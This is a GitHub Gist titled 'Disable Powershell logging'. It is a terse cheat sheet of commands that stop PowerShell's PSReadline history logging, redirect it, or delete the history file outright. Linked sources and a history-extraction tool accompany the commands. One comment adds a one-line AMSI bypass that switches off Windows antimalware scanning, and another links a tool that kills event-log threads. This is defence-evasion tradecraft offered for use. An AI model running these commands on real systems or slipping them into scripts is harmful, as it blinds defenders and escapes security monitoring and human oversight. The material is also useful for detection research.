GitHub Gist Search... All gists Back to GitHub Sign in Sign up

Instantly share code, notes, and snippets.

hook-s3c / info.txt

Created 6 years ago

Star 2 Fork 6

Code Revisions 1 Stars 2 Forks 6 Embed <script src="https:// Download ZIP

Disable Powershell logging

info.txt Raw

```
Logs are held by default in the user profile:
\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

this directory also hosts per-application logs

---------------------------------------------------------------
Disable Logging...

remove-module psreadline

Set-PSReadlineOption -HistorySavePath path
- to change the default path of log file

Set-PSReadlineOption –HistorySaveStyle SaveNothing
- to disable logging feature

Other;
- Get-Credential
- variable = Read-Host -AsSecureString "mysecurestring"

---------------------------------------------------------------

Scrubbing;

del (Get-PSReadlineOption).HistorySavePath

---------------------------------------------------------------
Extracting logs with python;
https://github.com/KalibRx/PoshHarvestPy

---------------------------------------------------------------
Sources...

https://twitter.com/DissectMalware/status/1062879286749773824
https://twitter.com/nikhil_mitt/status/1062382974744887296
https://twitter.com/DevinStokes/status/1062760239781408768
https://twitter.com/IISResetMe/status/1062594906626187264
https://blogs.msdn.microsoft.com/stevelasker/2016/03/25/clear-history-powershell-doesnt-clear-the-history-3/
https://0xdf.gitlab.io/2018/11/08/powershell-history-file.html
https://yunolikerobots.com/blog/f/log-everything-right



```

hook-s3c commented on Nov 24, 2018 Author ···

linux equivalent;
https://askubuntu.com/questions/625277/terminal-incognito-mode

hook-s3c commented on Nov 24, 2018 Author ···

powershell script:
https://github.com/hlldz/Invoke-Phant0m

hook-s3c commented on Dec 3, 2018 Author ···

Cut off AMSI;

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null
```

https://blog.xpnsec.com/exploring-powershell-amsi-and-logging-evasion/

hook-s3c commented on Dec 4, 2018 Author ···

Blueteam logging presentation, Defcon 26;
https://www.youtube.com/watch?v=3yYD3CYiwx4

Sign up for free **to join this conversation on GitHub**. Already have an account? Sign in to comment